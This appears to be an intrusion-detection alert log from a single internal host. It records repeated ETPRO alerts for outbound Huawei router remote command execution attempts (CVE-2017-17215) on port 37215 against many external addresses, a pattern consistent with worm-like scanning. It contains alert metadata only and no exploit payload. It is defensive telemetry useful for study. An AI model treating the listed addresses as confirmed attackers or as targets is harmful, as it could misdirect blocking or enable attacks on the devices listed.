2024-08-01T15:35:37.243403+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42342	37215	192.168.2.14	103.141.44.249
2024-08-01T15:35:50.269926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43462	37215	192.168.2.14	41.84.249.108
2024-08-01T15:36:49.753080+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36090	37215	192.168.2.14	157.49.38.85
2024-08-01T15:35:16.590507+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54228	37215	192.168.2.14	195.22.164.112
2024-08-01T15:35:20.214998+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54890	37215	192.168.2.14	44.185.0.157
2024-08-01T15:36:32.995658+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33626	37215	192.168.2.14	185.128.206.122
2024-08-01T15:35:35.136338+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36788	37215	192.168.2.14	41.155.184.25
2024-08-01T15:36:39.036531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54184	37215	192.168.2.14	41.110.65.174
2024-08-01T15:36:06.812029+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44804	37215	192.168.2.14	197.37.233.212
2024-08-01T15:36:34.859219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40844	37215	192.168.2.14	197.112.93.167
2024-08-01T15:35:20.575016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41764	37215	192.168.2.14	41.45.167.141
2024-08-01T15:36:46.307801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39642	37215	192.168.2.14	157.84.170.189
2024-08-01T15:35:20.545669+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57246	37215	192.168.2.14	91.252.54.120
2024-08-01T15:36:36.950042+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46098	37215	192.168.2.14	41.169.58.162
2024-08-01T15:35:54.478875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35020	37215	192.168.2.14	203.159.12.205
2024-08-01T15:35:54.404118+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49168	37215	192.168.2.14	27.62.177.197
2024-08-01T15:36:55.979350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34972	37215	192.168.2.14	197.225.217.218
2024-08-01T15:35:16.587308+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40028	37215	192.168.2.14	197.176.187.27
2024-08-01T15:35:33.068531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48070	37215	192.168.2.14	157.192.53.57
2024-08-01T15:36:20.309100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38492	37215	192.168.2.14	94.84.64.103
2024-08-01T15:35:40.224848+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40978	37215	192.168.2.14	41.212.211.75
2024-08-01T15:36:03.714341+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48722	37215	192.168.2.14	109.106.171.254
2024-08-01T15:36:53.715541+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48558	37215	192.168.2.14	41.127.245.148
2024-08-01T15:35:20.203840+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33478	37215	192.168.2.14	157.116.105.171
2024-08-01T15:36:32.812135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60234	37215	192.168.2.14	41.10.123.55
2024-08-01T15:35:21.878843+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34600	37215	192.168.2.14	41.78.120.21
2024-08-01T15:36:42.171043+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54700	37215	192.168.2.14	197.92.71.65
2024-08-01T15:36:42.213950+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34844	37215	192.168.2.14	25.244.189.175
2024-08-01T15:36:53.673996+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35738	37215	192.168.2.14	157.193.20.159
2024-08-01T15:36:22.457198+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57804	37215	192.168.2.14	41.144.87.96
2024-08-01T15:35:21.836407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48004	37215	192.168.2.14	197.150.163.156
2024-08-01T15:36:49.568581+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51112	37215	192.168.2.14	157.131.145.67
2024-08-01T15:35:20.204778+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59010	37215	192.168.2.14	157.74.54.45
2024-08-01T15:37:00.158971+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37100	37215	192.168.2.14	53.89.11.247
2024-08-01T15:36:24.449400+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49132	37215	192.168.2.14	157.149.96.70
2024-08-01T15:36:20.314482+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37872	37215	192.168.2.14	41.150.191.64
2024-08-01T15:35:21.931038+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40258	37215	192.168.2.14	41.167.163.83
2024-08-01T15:36:20.427173+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52494	37215	192.168.2.14	157.221.26.120
2024-08-01T15:35:20.214789+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38210	37215	192.168.2.14	98.82.168.244
2024-08-01T15:35:20.545837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36854	37215	192.168.2.14	197.228.171.36
2024-08-01T15:35:21.905827+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48760	37215	192.168.2.14	41.83.163.99
2024-08-01T15:35:16.404815+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33716	37215	192.168.2.14	197.251.68.85
2024-08-01T15:35:16.855170+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32944	37215	192.168.2.14	197.102.172.2
2024-08-01T15:35:20.206314+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48430	37215	192.168.2.14	41.70.98.150
2024-08-01T15:36:39.037383+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39646	37215	192.168.2.14	197.241.83.226
2024-08-01T15:36:14.877041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36414	37215	192.168.2.14	157.232.33.160
2024-08-01T15:35:21.834572+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54100	37215	192.168.2.14	69.134.32.164
2024-08-01T15:35:16.383574+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42652	37215	192.168.2.14	92.28.110.8
2024-08-01T15:35:20.210263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35068	37215	192.168.2.14	197.44.123.150
2024-08-01T15:35:35.087136+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33682	37215	192.168.2.14	157.107.203.106
2024-08-01T15:36:18.253591+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45384	37215	192.168.2.14	157.120.189.219
2024-08-01T15:36:32.871881+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54226	37215	192.168.2.14	197.53.92.187
2024-08-01T15:35:17.038195+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39482	37215	192.168.2.14	133.178.29.77
2024-08-01T15:35:48.348636+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41468	37215	192.168.2.14	213.7.214.14
2024-08-01T15:36:26.743852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55578	37215	192.168.2.14	41.205.226.210
2024-08-01T15:36:18.265551+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55912	37215	192.168.2.14	197.86.247.19
2024-08-01T15:36:44.200635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60684	37215	192.168.2.14	137.127.201.124
2024-08-01T15:36:39.184155+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40252	37215	192.168.2.14	41.135.219.224
2024-08-01T15:35:20.575190+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57802	37215	192.168.2.14	157.247.36.52
2024-08-01T15:35:20.206571+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44448	37215	192.168.2.14	119.90.131.53
2024-08-01T15:35:23.860525+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52940	37215	192.168.2.14	157.115.87.61
2024-08-01T15:35:20.208938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49556	37215	192.168.2.14	157.29.131.245
2024-08-01T15:36:11.948202+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57814	37215	192.168.2.14	197.68.19.147
2024-08-01T15:36:14.827630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60584	37215	192.168.2.14	41.189.228.92
2024-08-01T15:36:06.682302+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53956	37215	192.168.2.14	41.232.6.247
2024-08-01T15:36:48.591360+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60668	37215	192.168.2.14	157.255.156.158
2024-08-01T15:35:31.705265+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37664	37215	192.168.2.14	197.130.241.167
2024-08-01T15:36:22.514305+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38704	37215	192.168.2.14	41.149.109.117
2024-08-01T15:36:16.169070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41930	37215	192.168.2.14	197.126.249.208
2024-08-01T15:36:32.818327+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46778	37215	192.168.2.14	197.221.214.187
2024-08-01T15:36:14.840872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56180	37215	192.168.2.14	190.39.105.190
2024-08-01T15:36:14.877155+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40338	37215	192.168.2.14	41.79.157.47
2024-08-01T15:36:15.133528+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33344	37215	192.168.2.14	157.71.30.99
2024-08-01T15:35:21.906865+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56866	37215	192.168.2.14	197.17.179.252
2024-08-01T15:35:16.386470+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35902	37215	192.168.2.14	157.51.252.216
2024-08-01T15:35:40.255117+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35898	37215	192.168.2.14	123.204.127.148
2024-08-01T15:36:57.563062+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38272	37215	192.168.2.14	157.45.9.14
2024-08-01T15:36:51.618852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56120	37215	192.168.2.14	197.101.31.62
2024-08-01T15:35:21.868788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35078	37215	192.168.2.14	157.253.180.1
2024-08-01T15:36:14.832664+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58708	37215	192.168.2.14	41.247.146.32
2024-08-01T15:35:17.261735+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47556	37215	192.168.2.14	183.227.14.205
2024-08-01T15:35:48.348722+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60998	37215	192.168.2.14	41.127.239.68
2024-08-01T15:35:20.204613+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57886	37215	192.168.2.14	41.76.214.25
2024-08-01T15:36:18.278069+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56462	37215	192.168.2.14	70.131.211.245
2024-08-01T15:35:20.216311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51216	37215	192.168.2.14	19.145.5.222
2024-08-01T15:35:21.928758+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54076	37215	192.168.2.14	197.164.112.203
2024-08-01T15:35:20.209659+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54534	37215	192.168.2.14	151.198.130.124
2024-08-01T15:35:20.545788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60920	37215	192.168.2.14	41.229.239.179
2024-08-01T15:35:43.355802+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51572	37215	192.168.2.14	50.190.114.23
2024-08-01T15:35:17.246359+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41936	37215	192.168.2.14	41.103.132.220
2024-08-01T15:35:48.348042+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44018	37215	192.168.2.14	197.120.5.174
2024-08-01T15:36:15.123509+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50162	37215	192.168.2.14	197.71.103.70
2024-08-01T15:35:37.335118+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47364	37215	192.168.2.14	41.143.203.204
2024-08-01T15:36:18.251973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53518	37215	192.168.2.14	197.31.117.188
2024-08-01T15:36:39.059139+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60864	37215	192.168.2.14	197.12.148.92
2024-08-01T15:36:22.454545+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37080	37215	192.168.2.14	41.189.95.196
2024-08-01T15:35:40.223410+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55016	37215	192.168.2.14	197.123.148.2
2024-08-01T15:35:21.850755+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57020	37215	192.168.2.14	197.171.207.212
2024-08-01T15:36:30.753315+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57428	37215	192.168.2.14	157.101.83.39
2024-08-01T15:36:09.933636+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40218	37215	192.168.2.14	168.229.145.2
2024-08-01T15:36:18.261717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39246	37215	192.168.2.14	197.140.209.158
2024-08-01T15:35:20.214910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53588	37215	192.168.2.14	197.255.40.203
2024-08-01T15:36:22.459063+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37090	37215	192.168.2.14	157.173.97.242
2024-08-01T15:36:39.124334+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39894	37215	192.168.2.14	197.144.91.120
2024-08-01T15:36:14.807999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55720	37215	192.168.2.14	157.170.84.27
2024-08-01T15:36:17.941383+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36800	37215	192.168.2.14	197.9.81.92
2024-08-01T15:36:24.450311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45264	37215	192.168.2.14	123.237.198.189
2024-08-01T15:36:39.563366+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50442	37215	192.168.2.14	157.19.90.109
2024-08-01T15:35:53.373220+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56212	37215	192.168.2.14	115.153.174.234
2024-08-01T15:36:16.280296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45970	37215	192.168.2.14	41.205.137.176
2024-08-01T15:35:43.389529+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32966	37215	192.168.2.14	41.134.29.208
2024-08-01T15:35:43.356654+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58400	37215	192.168.2.14	195.148.25.100
2024-08-01T15:35:37.242099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56552	37215	192.168.2.14	197.93.244.59
2024-08-01T15:35:20.545448+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60364	37215	192.168.2.14	196.225.244.156
2024-08-01T15:35:50.298753+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49874	37215	192.168.2.14	41.239.207.159
2024-08-01T15:35:17.266937+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51520	37215	192.168.2.14	157.202.9.150
2024-08-01T15:36:39.033450+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40974	37215	192.168.2.14	157.222.198.85
2024-08-01T15:36:48.591356+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42254	37215	192.168.2.14	157.126.158.54
2024-08-01T15:35:21.862932+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39886	37215	192.168.2.14	31.68.35.109
2024-08-01T15:36:14.808597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33900	37215	192.168.2.14	197.61.88.101
2024-08-01T15:35:37.241837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36292	37215	192.168.2.14	197.74.117.94
2024-08-01T15:35:17.273262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55876	37215	192.168.2.14	207.13.138.47
2024-08-01T15:35:26.008840+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32854	37215	192.168.2.14	41.251.95.71
2024-08-01T15:35:21.890509+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57312	37215	192.168.2.14	157.96.41.58
2024-08-01T15:36:14.831218+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52930	37215	192.168.2.14	216.43.239.184
2024-08-01T15:36:18.249503+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53628	37215	192.168.2.14	189.106.112.221
2024-08-01T15:36:49.568439+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47236	37215	192.168.2.14	197.55.174.190
2024-08-01T15:36:09.890007+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37526	37215	192.168.2.14	183.198.199.253
2024-08-01T15:35:20.210425+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39214	37215	192.168.2.14	197.191.74.75
2024-08-01T15:35:17.038531+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49482	37215	192.168.2.14	41.177.87.219
2024-08-01T15:35:21.906861+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50658	37215	192.168.2.14	197.12.95.190
2024-08-01T15:36:46.292421+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48262	37215	192.168.2.14	197.159.84.225
2024-08-01T15:35:43.352394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44060	37215	192.168.2.14	168.213.214.59
2024-08-01T15:35:20.210126+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54836	37215	192.168.2.14	41.54.8.114
2024-08-01T15:36:49.651565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49214	37215	192.168.2.14	197.138.20.161
2024-08-01T15:35:20.203720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52222	37215	192.168.2.14	157.195.114.238
2024-08-01T15:35:21.938116+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40734	37215	192.168.2.14	157.135.198.113
2024-08-01T15:36:56.028653+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35304	37215	192.168.2.14	45.223.207.56
2024-08-01T15:35:21.905837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38676	37215	192.168.2.14	41.235.197.244
2024-08-01T15:36:26.557585+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55944	37215	192.168.2.14	186.43.81.110
2024-08-01T15:35:16.695616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59086	37215	192.168.2.14	61.43.155.73
2024-08-01T15:36:22.457613+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51940	37215	192.168.2.14	197.232.226.117
2024-08-01T15:35:21.905878+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47192	37215	192.168.2.14	197.99.211.31
2024-08-01T15:35:33.066771+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43016	37215	192.168.2.14	157.153.130.198
2024-08-01T15:35:21.928340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54016	37215	192.168.2.14	41.68.28.149
2024-08-01T15:35:50.297012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34904	37215	192.168.2.14	157.6.132.201
2024-08-01T15:35:21.870746+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47894	37215	192.168.2.14	197.60.134.183
2024-08-01T15:35:20.605724+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56422	37215	192.168.2.14	41.85.61.54
2024-08-01T15:36:46.307101+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41862	37215	192.168.2.14	197.105.120.149
2024-08-01T15:36:39.310696+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36048	37215	192.168.2.14	197.165.117.112
2024-08-01T15:36:39.487710+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60014	37215	192.168.2.14	41.183.80.132
2024-08-01T15:35:20.210085+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42394	37215	192.168.2.14	41.6.79.92
2024-08-01T15:36:28.950018+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52754	37215	192.168.2.14	157.80.73.130
2024-08-01T15:36:39.040913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56726	37215	192.168.2.14	157.54.121.238
2024-08-01T15:36:09.865799+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51764	37215	192.168.2.14	61.238.39.217
2024-08-01T15:35:21.888207+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44184	37215	192.168.2.14	157.114.215.88
2024-08-01T15:36:28.863056+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47772	37215	192.168.2.14	197.164.223.141
2024-08-01T15:35:48.348161+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59488	37215	192.168.2.14	157.178.206.166
2024-08-01T15:35:20.210380+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46614	37215	192.168.2.14	221.120.194.104
2024-08-01T15:35:37.210201+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49286	37215	192.168.2.14	157.130.112.53
2024-08-01T15:35:21.831765+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47098	37215	192.168.2.14	157.78.224.146
2024-08-01T15:36:26.556864+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55286	37215	192.168.2.14	197.21.100.193
2024-08-01T15:35:20.209016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37618	37215	192.168.2.14	157.194.129.160
2024-08-01T15:36:53.713327+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44512	37215	192.168.2.14	41.38.171.167
2024-08-01T15:36:28.685916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39502	37215	192.168.2.14	157.25.156.165
2024-08-01T15:35:45.405406+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34330	37215	192.168.2.14	41.37.251.152
